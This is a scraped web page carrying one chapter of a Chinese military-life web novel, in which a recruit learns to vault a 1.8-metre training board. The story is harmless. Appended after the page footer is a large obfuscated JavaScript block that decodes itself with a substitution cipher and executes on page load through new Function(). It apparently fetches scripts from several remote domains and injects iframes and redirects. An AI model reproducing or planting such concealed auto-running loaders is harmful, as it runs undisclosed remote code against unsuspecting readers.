- 首页
- 都市
- 一凡不凡人
- 第64章 二郎高板（第1页）
第64章 二郎高板（第1页）
章节目录保存书签
障碍里有一个高板，号称弹跳克星！他是跳不起来或是不敢跳起来的人真正意义上的障碍！卓一凡不知道它为什么叫二郎高板，反正班长也不知道，估计连队干部也不知道，都是这么叫过来的，一米八高，不能蹬两边的柱子，这个可以说是最影响速度的一个，相同体力的人，过板的姿势不一样，能差距1到5秒的时间，当然也有人在上面耗费20、30秒的，一次失败就来二次，即费体力，又费精力！当然，为了能训练好二郎高板，精明能干的班长们把他细分成了三个等级n个动作小练习，号称一二三练习，进阶式训练法！一练习最简单，起跳将手臂挂在横板上，在利用身体惯性把腿挂上去，手脚合力上板，归结起来就是挂臂挂腿，初学者和弹跳力不行的人首选这个动作。当然，这也是有难度的，很多新兵刚开始，手臂挂在板上，但脚就在空中来回得折腾，挂不上板，只能呲牙咧嘴的挂在板上来回飘荡，胳肢窝和板就使劲的摩擦，那叫一个酸爽。卓一凡成天看着同年兵在板上摆呀摆，像风中的树叶。其中阿练创造了挂板3分钟上不去的记录，最后力竭掉了下来，要不是班长保护他，他估计该进医院躺一段时间了，差点摔破了后脑勺！从板下来，阿练的胳膊皮都掉了一层！二练习是立臂挂腿，到高板前合脚用力起跳，双手拍板呈立臂式，身体前倾，一手撑板，一手前抓板边沿，然后挂腿，完成上板动作。想完成这个动作很简单，不要害怕，跳就行了，大不了撞在板上，撞的七荤八素！卓一凡就抱定撞死好超生的心态，猛地一跳就成功了，但是三练习还在等着他！卓一凡看着同年兵们冲到高板前急刹车，冲到高板前又不敢使劲跳，冲到高板前使劲跳了结果“怕死”又扑在板上……反正各种折腾，很多人的手因为拍板都拍的红肿，很多人胸口总是与高板亲密接触撞破了皮……反正就是各种跳，各种撞，似乎在想“翻不过你，我还撞不倒你吗！！！”最难的，也是最快的动作就是立臂踩板。这个动作是三火班长亲自给卓一凡一个人示范的！别看班长只有一米七，那弹跳，那速度，一气呵成，看的卓一凡目瞪口呆！卓一凡为了完成这个动作，几乎耗费了大半个新兵生活！起跳、拍板、踩板……重复重复再重复，手和膝盖不知道掉了多少层皮，终于在一个下午领悟到了真谛！三火班长很高兴，晚上自然少不了泡面的奖励！二郎高板过去很难，回来却轻松了许多，只要你敢跳，站在平台上，起跳、拍板、飞跃，一气呵成！不敢跳也可以，从平台跨到板上，再从一米八高的板上跳下去！看是简单的动作，危险系数却是很高的，特别是落地缓冲那一下，扭脚、交叉韧带拉伤是最为常见的，当然也有人甩个狗啃泥，蹭破了脸皮和手掌的！三火班长不止一次的强调，跑障碍就是胆大心细！但真真正正有几个胆大的兵呢！在这个二郎高板前，谭学良和鬼子就一度被称呼为“软面条”，非常形象的展现了他们两人的风采！：（）一凡不凡
上一章章节目录下一章
温馨提示：按 ←键 返回上一页， 按 →键 进入下一页，不需要加入书签，进入阅读记录方便您下次继续阅读。
一凡不凡人所有内容均来自互联网，126文学网只为原作者枫叶絮扬的小说进行宣传。欢迎各位书友支持枫叶絮扬并收藏一凡不凡人最新章节。
!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();